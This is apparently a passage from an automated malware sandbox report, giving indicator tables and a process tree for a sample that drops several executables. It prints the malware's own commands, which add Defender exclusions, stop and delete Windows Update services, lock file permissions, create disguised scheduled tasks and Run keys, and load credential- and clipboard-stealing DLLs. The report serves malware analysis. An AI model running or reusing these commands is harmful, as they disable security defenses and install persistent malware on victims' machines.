760	Explorer.EXE
760	Explorer.EXE
760	Explorer.EXE
760	Explorer.EXE
760	Explorer.EXE
760	Explorer.EXE
760	Explorer.EXE
760	Explorer.EXE
760	Explorer.EXE
760	Explorer.EXE
760	Explorer.EXE
760	Explorer.EXE
760	Explorer.EXE
760	Explorer.EXE
760	Explorer.EXE
760	Explorer.EXE
760	Explorer.EXE
760	Explorer.EXE
760	Explorer.EXE
760	Explorer.EXE
760	Explorer.EXE
760	Explorer.EXE

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

Explorer.EXE

pid process

760 Explorer.EXE
Suspicious behavior: MapViewOfSection 2 IoCs

Processes:

2433be5583730e4f41391d8248c9f214d81775279441e2f23ff78efa71b27405.exe300D.exe

pid process

2744 2433be5583730e4f41391d8248c9f214d81775279441e2f23ff78efa71b27405.exe
3516 300D.exe

pid	process
760	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Explorer.EXEpowershell.exepowercfg.exepowershell.exepowercfg.exepowercfg.exepowercfg.exe

description	pid	process
Token: SeShutdownPrivilege	760	Explorer.EXE
Token: SeCreatePagefilePrivilege	760	Explorer.EXE
Token: SeShutdownPrivilege	760	Explorer.EXE
Token: SeCreatePagefilePrivilege	760	Explorer.EXE
Token: SeShutdownPrivilege	760	Explorer.EXE
Token: SeCreatePagefilePrivilege	760	Explorer.EXE
Token: SeShutdownPrivilege	760	Explorer.EXE
Token: SeCreatePagefilePrivilege	760	Explorer.EXE
Token: SeShutdownPrivilege	760	Explorer.EXE
Token: SeCreatePagefilePrivilege	760	Explorer.EXE
Token: SeShutdownPrivilege	760	Explorer.EXE
Token: SeCreatePagefilePrivilege	760	Explorer.EXE
Token: SeShutdownPrivilege	760	Explorer.EXE
Token: SeCreatePagefilePrivilege	760	Explorer.EXE
Token: SeShutdownPrivilege	760	Explorer.EXE
Token: SeCreatePagefilePrivilege	760	Explorer.EXE
Token: SeShutdownPrivilege	760	Explorer.EXE
Token: SeCreatePagefilePrivilege	760	Explorer.EXE
Token: SeShutdownPrivilege	760	Explorer.EXE
Token: SeCreatePagefilePrivilege	760	Explorer.EXE
Token: SeShutdownPrivilege	760	Explorer.EXE
Token: SeCreatePagefilePrivilege	760	Explorer.EXE
Token: SeShutdownPrivilege	760	Explorer.EXE
Token: SeCreatePagefilePrivilege	760	Explorer.EXE
Token: SeShutdownPrivilege	760	Explorer.EXE
Token: SeCreatePagefilePrivilege	760	Explorer.EXE
Token: SeShutdownPrivilege	760	Explorer.EXE
Token: SeCreatePagefilePrivilege	760	Explorer.EXE
Token: SeShutdownPrivilege	760	Explorer.EXE
Token: SeCreatePagefilePrivilege	760	Explorer.EXE
Token: SeShutdownPrivilege	760	Explorer.EXE
Token: SeCreatePagefilePrivilege	760	Explorer.EXE
Token: SeShutdownPrivilege	760	Explorer.EXE
Token: SeCreatePagefilePrivilege	760	Explorer.EXE
Token: SeShutdownPrivilege	760	Explorer.EXE
Token: SeCreatePagefilePrivilege	760	Explorer.EXE
Token: SeShutdownPrivilege	760	Explorer.EXE
Token: SeCreatePagefilePrivilege	760	Explorer.EXE
Token: SeShutdownPrivilege	760	Explorer.EXE
Token: SeCreatePagefilePrivilege	760	Explorer.EXE
Token: SeShutdownPrivilege	760	Explorer.EXE
Token: SeCreatePagefilePrivilege	760	Explorer.EXE
Token: SeShutdownPrivilege	760	Explorer.EXE
Token: SeCreatePagefilePrivilege	760	Explorer.EXE
Token: SeShutdownPrivilege	760	Explorer.EXE
Token: SeCreatePagefilePrivilege	760	Explorer.EXE
Token: SeShutdownPrivilege	760	Explorer.EXE
Token: SeCreatePagefilePrivilege	760	Explorer.EXE
Token: SeShutdownPrivilege	760	Explorer.EXE
Token: SeCreatePagefilePrivilege	760	Explorer.EXE
Token: SeDebugPrivilege	4452	powershell.exe
Token: SeShutdownPrivilege	2748	powercfg.exe
Token: SeCreatePagefilePrivilege	2748	powercfg.exe
Token: SeDebugPrivilege	2652	powershell.exe
Token: SeShutdownPrivilege	2508	powercfg.exe
Token: SeCreatePagefilePrivilege	2508	powercfg.exe
Token: SeShutdownPrivilege	3100	powercfg.exe
Token: SeCreatePagefilePrivilege	3100	powercfg.exe
Token: SeShutdownPrivilege	3932	powercfg.exe
Token: SeCreatePagefilePrivilege	3932	powercfg.exe
Token: SeShutdownPrivilege	760	Explorer.EXE
Token: SeCreatePagefilePrivilege	760	Explorer.EXE
Token: SeShutdownPrivilege	760	Explorer.EXE
Token: SeCreatePagefilePrivilege	760	Explorer.EXE

Suspicious use of FindShellTrayWindow 5 IoCs

Processes:

rundll32.exerundll32.exerundll32.exerundll32.exerundll32.exe

pid process

1540 rundll32.exe
3836 rundll32.exe
5000 rundll32.exe
1864 rundll32.exe
476 rundll32.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

Explorer.EXE

pid process

760 Explorer.EXE
760 Explorer.EXE

pid	process
1540	rundll32.exe
3836	rundll32.exe
5000	rundll32.exe
1864	rundll32.exe
476	rundll32.exe

pid	process
760	Explorer.EXE
760	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Explorer.EXEF736.exeF736.exeF736.exe9B5.exeB9B.exe9B5.exeB9B.exe

description	pid	process	target process
PID 760 wrote to memory of 3224	760	Explorer.EXE	F736.exe
PID 760 wrote to memory of 3224	760	Explorer.EXE	F736.exe
PID 760 wrote to memory of 3224	760	Explorer.EXE	F736.exe
PID 3224 wrote to memory of 5024	3224	F736.exe	F736.exe
PID 3224 wrote to memory of 5024	3224	F736.exe	F736.exe
PID 3224 wrote to memory of 5024	3224	F736.exe	F736.exe
PID 3224 wrote to memory of 5024	3224	F736.exe	F736.exe
PID 3224 wrote to memory of 5024	3224	F736.exe	F736.exe
PID 3224 wrote to memory of 5024	3224	F736.exe	F736.exe
PID 3224 wrote to memory of 5024	3224	F736.exe	F736.exe
PID 3224 wrote to memory of 5024	3224	F736.exe	F736.exe
PID 3224 wrote to memory of 5024	3224	F736.exe	F736.exe
PID 3224 wrote to memory of 5024	3224	F736.exe	F736.exe
PID 5024 wrote to memory of 3096	5024	F736.exe	icacls.exe
PID 5024 wrote to memory of 3096	5024	F736.exe	icacls.exe
PID 5024 wrote to memory of 3096	5024	F736.exe	icacls.exe
PID 5024 wrote to memory of 2792	5024	F736.exe	F736.exe
PID 5024 wrote to memory of 2792	5024	F736.exe	F736.exe
PID 5024 wrote to memory of 2792	5024	F736.exe	F736.exe
PID 2792 wrote to memory of 3188	2792	F736.exe	F736.exe
PID 2792 wrote to memory of 3188	2792	F736.exe	F736.exe
PID 2792 wrote to memory of 3188	2792	F736.exe	F736.exe
PID 2792 wrote to memory of 3188	2792	F736.exe	F736.exe
PID 2792 wrote to memory of 3188	2792	F736.exe	F736.exe
PID 2792 wrote to memory of 3188	2792	F736.exe	F736.exe
PID 2792 wrote to memory of 3188	2792	F736.exe	F736.exe
PID 2792 wrote to memory of 3188	2792	F736.exe	F736.exe
PID 2792 wrote to memory of 3188	2792	F736.exe	F736.exe
PID 2792 wrote to memory of 3188	2792	F736.exe	F736.exe
PID 760 wrote to memory of 4856	760	Explorer.EXE	9B5.exe
PID 760 wrote to memory of 4856	760	Explorer.EXE	9B5.exe
PID 760 wrote to memory of 4856	760	Explorer.EXE	9B5.exe
PID 760 wrote to memory of 2468	760	Explorer.EXE	B9B.exe
PID 760 wrote to memory of 2468	760	Explorer.EXE	B9B.exe
PID 760 wrote to memory of 2468	760	Explorer.EXE	B9B.exe
PID 4856 wrote to memory of 2012	4856	9B5.exe	9B5.exe
PID 4856 wrote to memory of 2012	4856	9B5.exe	9B5.exe
PID 4856 wrote to memory of 2012	4856	9B5.exe	9B5.exe
PID 4856 wrote to memory of 2012	4856	9B5.exe	9B5.exe
PID 4856 wrote to memory of 2012	4856	9B5.exe	9B5.exe
PID 4856 wrote to memory of 2012	4856	9B5.exe	9B5.exe
PID 4856 wrote to memory of 2012	4856	9B5.exe	9B5.exe
PID 4856 wrote to memory of 2012	4856	9B5.exe	9B5.exe
PID 4856 wrote to memory of 2012	4856	9B5.exe	9B5.exe
PID 4856 wrote to memory of 2012	4856	9B5.exe	9B5.exe
PID 2468 wrote to memory of 3580	2468	B9B.exe	B9B.exe
PID 2468 wrote to memory of 3580	2468	B9B.exe	B9B.exe
PID 2468 wrote to memory of 3580	2468	B9B.exe	B9B.exe
PID 2468 wrote to memory of 3580	2468	B9B.exe	B9B.exe
PID 2468 wrote to memory of 3580	2468	B9B.exe	B9B.exe
PID 2468 wrote to memory of 3580	2468	B9B.exe	B9B.exe
PID 2468 wrote to memory of 3580	2468	B9B.exe	B9B.exe
PID 2468 wrote to memory of 3580	2468	B9B.exe	B9B.exe
PID 2468 wrote to memory of 3580	2468	B9B.exe	B9B.exe
PID 2468 wrote to memory of 3580	2468	B9B.exe	B9B.exe
PID 760 wrote to memory of 1972	760	Explorer.EXE	130E.exe
PID 760 wrote to memory of 1972	760	Explorer.EXE	130E.exe
PID 760 wrote to memory of 1972	760	Explorer.EXE	130E.exe
PID 2012 wrote to memory of 4788	2012	9B5.exe	9B5.exe
PID 2012 wrote to memory of 4788	2012	9B5.exe	9B5.exe
PID 2012 wrote to memory of 4788	2012	9B5.exe	9B5.exe
PID 3580 wrote to memory of 1808	3580	B9B.exe	B9B.exe
PID 3580 wrote to memory of 1808	3580	B9B.exe	B9B.exe
PID 3580 wrote to memory of 1808	3580	B9B.exe	B9B.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:760
- C:\Users\Admin\AppData\Local\Temp\2433be5583730e4f41391d8248c9f214d81775279441e2f23ff78efa71b27405.exe
  "C:\Users\Admin\AppData\Local\Temp\2433be5583730e4f41391d8248c9f214d81775279441e2f23ff78efa71b27405.exe"
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:2744
- C:\Users\Admin\AppData\Local\Temp\F736.exe
  C:\Users\Admin\AppData\Local\Temp\F736.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:3224
- - C:\Users\Admin\AppData\Local\Temp\F736.exe
    C:\Users\Admin\AppData\Local\Temp\F736.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of WriteProcessMemory
    PID:5024
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Users\Admin\AppData\Local\565f252b-72c3-4545-849c-5c0c74cacbc2" /deny *S-1-1-0:(OI)(CI)(DE,DC)
      4⤵
      Modifies file permissions
      PID:3096
  - - C:\Users\Admin\AppData\Local\Temp\F736.exe
      "C:\Users\Admin\AppData\Local\Temp\F736.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious use of WriteProcessMemory
      PID:2792
    - - C:\Users\Admin\AppData\Local\Temp\F736.exe
        
        "C:\Users\Admin\AppData\Local\Temp\F736.exe" --Admin IsNotAutoStart IsNotTask
        5⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:3188
      - C:\Users\Admin\AppData\Local\ed706046-e9ba-499f-9cea-2dd2e0707aa2\build2.exe
        
        "C:\Users\Admin\AppData\Local\ed706046-e9ba-499f-9cea-2dd2e0707aa2\build2.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:1656
        
        C:\Users\Admin\AppData\Local\ed706046-e9ba-499f-9cea-2dd2e0707aa2\build2.exe
        
        "C:\Users\Admin\AppData\Local\ed706046-e9ba-499f-9cea-2dd2e0707aa2\build2.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:1860
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\ed706046-e9ba-499f-9cea-2dd2e0707aa2\build2.exe" & exit
        8⤵
        
        PID:852
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        9⤵
        Delays execution with timeout.exe
        
        PID:4064
      - C:\Users\Admin\AppData\Local\ed706046-e9ba-499f-9cea-2dd2e0707aa2\build3.exe
        
        "C:\Users\Admin\AppData\Local\ed706046-e9ba-499f-9cea-2dd2e0707aa2\build3.exe"
        6⤵
        Executes dropped EXE
        
        PID:3396
        
        C:\Windows\SysWOW64\schtasks.exe
        
        /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:2836
- C:\Users\Admin\AppData\Local\Temp\9B5.exe
  C:\Users\Admin\AppData\Local\Temp\9B5.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:4856
- - C:\Users\Admin\AppData\Local\Temp\9B5.exe
    C:\Users\Admin\AppData\Local\Temp\9B5.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:2012
  - - C:\Users\Admin\AppData\Local\Temp\9B5.exe
      "C:\Users\Admin\AppData\Local\Temp\9B5.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      PID:4788
    - - C:\Users\Admin\AppData\Local\Temp\9B5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\9B5.exe" --Admin IsNotAutoStart IsNotTask
        5⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:4156
      - C:\Users\Admin\AppData\Local\3812144e-b4e0-4a12-a6c9-c980397f934c\build2.exe
        
        "C:\Users\Admin\AppData\Local\3812144e-b4e0-4a12-a6c9-c980397f934c\build2.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:4124
        
        C:\Users\Admin\AppData\Local\3812144e-b4e0-4a12-a6c9-c980397f934c\build2.exe
        
        "C:\Users\Admin\AppData\Local\3812144e-b4e0-4a12-a6c9-c980397f934c\build2.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:4768
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\3812144e-b4e0-4a12-a6c9-c980397f934c\build2.exe" & exit
        8⤵
        
        PID:4352
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        9⤵
        Delays execution with timeout.exe
        
        PID:1824
      - C:\Users\Admin\AppData\Local\3812144e-b4e0-4a12-a6c9-c980397f934c\build3.exe
        
        "C:\Users\Admin\AppData\Local\3812144e-b4e0-4a12-a6c9-c980397f934c\build3.exe"
        6⤵
        Executes dropped EXE
        
        PID:4880
- C:\Users\Admin\AppData\Local\Temp\B9B.exe
  C:\Users\Admin\AppData\Local\Temp\B9B.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:2468
- - C:\Users\Admin\AppData\Local\Temp\B9B.exe
    C:\Users\Admin\AppData\Local\Temp\B9B.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:3580
  - - C:\Users\Admin\AppData\Local\Temp\B9B.exe
      "C:\Users\Admin\AppData\Local\Temp\B9B.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      PID:1808
    - - C:\Users\Admin\AppData\Local\Temp\B9B.exe
        
        "C:\Users\Admin\AppData\Local\Temp\B9B.exe" --Admin IsNotAutoStart IsNotTask
        5⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:4060
      - C:\Users\Admin\AppData\Local\b3fd82fa-a57e-4538-8978-169b72f2815b\build2.exe
        
        "C:\Users\Admin\AppData\Local\b3fd82fa-a57e-4538-8978-169b72f2815b\build2.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:4032
        
        C:\Users\Admin\AppData\Local\b3fd82fa-a57e-4538-8978-169b72f2815b\build2.exe
        
        "C:\Users\Admin\AppData\Local\b3fd82fa-a57e-4538-8978-169b72f2815b\build2.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:2188
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\b3fd82fa-a57e-4538-8978-169b72f2815b\build2.exe" & exit
        8⤵
        
        PID:972
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        9⤵
        Delays execution with timeout.exe
        
        PID:1804
      - C:\Users\Admin\AppData\Local\b3fd82fa-a57e-4538-8978-169b72f2815b\build3.exe
        
        "C:\Users\Admin\AppData\Local\b3fd82fa-a57e-4538-8978-169b72f2815b\build3.exe"
        6⤵
        Executes dropped EXE
        
        PID:4792
- C:\Users\Admin\AppData\Local\Temp\130E.exe
  C:\Users\Admin\AppData\Local\Temp\130E.exe
  2⤵
  - Executes dropped EXE
  PID:1972
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1972 -s 340
    3⤵
    - Program crash
    PID:5000
- C:\Users\Admin\AppData\Local\Temp\300D.exe
  C:\Users\Admin\AppData\Local\Temp\300D.exe
  2⤵
  - Executes dropped EXE
  - Checks SCSI registry key(s)
  - Suspicious behavior: MapViewOfSection
  PID:3516
- C:\Users\Admin\AppData\Local\Temp\3E94.exe
  C:\Users\Admin\AppData\Local\Temp\3E94.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  PID:1700
- - C:\Users\Admin\AppData\Local\Temp\Player3.exe
    "C:\Users\Admin\AppData\Local\Temp\Player3.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:400
  - - C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
      "C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe"
      4⤵
      PID:3064
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1700 -s 1504
    3⤵
    - Program crash
    PID:2416
- C:\Users\Admin\AppData\Local\Temp\4349.exe
  C:\Users\Admin\AppData\Local\Temp\4349.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  PID:1616
- - C:\Users\Admin\AppData\Local\Temp\Player3.exe
    "C:\Users\Admin\AppData\Local\Temp\Player3.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:5028
  - - C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
      "C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe"
      4⤵
      PID:2632
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "nbveek.exe" /P "Admin:N"&&CACLS "nbveek.exe" /P "Admin:R" /E&&echo Y|CACLS "..\16de06bfb4" /P "Admin:N"&&CACLS "..\16de06bfb4" /P "Admin:R" /E&&Exit
        5⤵
        
        PID:2156
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        6⤵
        
        PID:3568
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "nbveek.exe" /P "Admin:N"
        6⤵
        
        PID:3836
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "nbveek.exe" /P "Admin:R" /E
        6⤵
        
        PID:4000
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\16de06bfb4" /P "Admin:N"
        6⤵
        
        PID:360
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        6⤵
        
        PID:444
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\16de06bfb4" /P "Admin:R" /E
        6⤵
        
        PID:2728
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR "C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe" /F
        5⤵
        Creates scheduled task(s)
        
        PID:4352
    - - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dll, Main
        5⤵
        Loads dropped DLL
        
        PID:1948
      - C:\Windows\system32\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dll, Main
        6⤵
        Loads dropped DLL
        
        PID:4748
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 4748 -s 644
        7⤵
        Program crash
        
        PID:3932
    - - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\clip64.dll, Main
        5⤵
        Loads dropped DLL
        
        PID:4988
- - C:\Users\Admin\AppData\Local\Temp\ss31.exe
    "C:\Users\Admin\AppData\Local\Temp\ss31.exe"
    3⤵
    - Executes dropped EXE
    PID:5012
- - C:\Users\Admin\AppData\Local\Temp\XandETC.exe
    "C:\Users\Admin\AppData\Local\Temp\XandETC.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Drops file in Program Files directory
    PID:2724
- C:\Users\Admin\AppData\Local\Temp\36C2.exe
  C:\Users\Admin\AppData\Local\Temp\36C2.exe
  2⤵
  - Executes dropped EXE
  PID:3220
- - C:\Windows\SysWOW64\rundll32.exe
    C:\Windows\system32\rundll32.exe C:\Users\Admin\AppData\Local\Temp\Uieiuateoq.dll,start
    3⤵
    - Blocklisted process makes network request
    - Loads dropped DLL
    - Checks processor information in registry
    PID:3720
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3220 -s 412
    3⤵
    - Program crash
    PID:4000
- C:\Users\Admin\AppData\Local\Temp\448E.exe
  C:\Users\Admin\AppData\Local\Temp\448E.exe
  2⤵
  - Executes dropped EXE
  PID:2240
- - C:\Windows\SysWOW64\rundll32.exe
    C:\Windows\system32\rundll32.exe C:\Users\Admin\AppData\Local\Temp\Uieiuateoq.dll,start
    3⤵
    - Loads dropped DLL
    - Suspicious use of SetThreadContext
    - Checks processor information in registry
    PID:3600
  - - C:\Windows\system32\rundll32.exe
      "C:\Windows\system32\rundll32.exe" "C:\Windows\system32\shell32.dll",#61 19257
      4⤵
      Modifies registry class
      Suspicious use of FindShellTrayWindow
      PID:1540
  - - C:\Windows\system32\rundll32.exe
      "C:\Windows\system32\rundll32.exe" "C:\Windows\system32\shell32.dll",#61 19257
      4⤵
      Modifies registry class
      Suspicious use of FindShellTrayWindow
      PID:3836
  - - C:\Windows\system32\rundll32.exe
      "C:\Windows\system32\rundll32.exe" "C:\Windows\system32\shell32.dll",#61 19257
      4⤵
      Modifies registry class
      Suspicious use of FindShellTrayWindow
      PID:5000
  - - C:\Windows\system32\rundll32.exe
      "C:\Windows\system32\rundll32.exe" "C:\Windows\system32\shell32.dll",#61 19257
      4⤵
      Modifies registry class
      Suspicious use of FindShellTrayWindow
      PID:1864
  - - C:\Windows\system32\rundll32.exe
      "C:\Windows\system32\rundll32.exe" "C:\Windows\system32\shell32.dll",#61 19257
      4⤵
      Suspicious use of FindShellTrayWindow
      PID:476
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2240 -s 412
    3⤵
    - Program crash
    PID:2232
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4452
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  PID:4348
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:1948
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:2244
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:2904
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:880
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:412
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:2064
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:4816
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:4100
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:1852
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:4444
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:4788
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2748
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2508
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3100
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3932
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2652
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#iqegjinl#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "NoteUpdateTaskMachineQC" } Else { "C:\Program Files\Notepad\Chrome\updater.exe" }
  2⤵
  PID:3392
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn NoteUpdateTaskMachineQC
    3⤵
    PID:4544

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 1972 -ip 1972
1⤵
PID:2632

C:\Windows\SysWOW64\schtasks.exe
/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
1⤵
- Creates scheduled task(s)
PID:4864

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 1700 -ip 1700
1⤵
PID:4472

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
1⤵
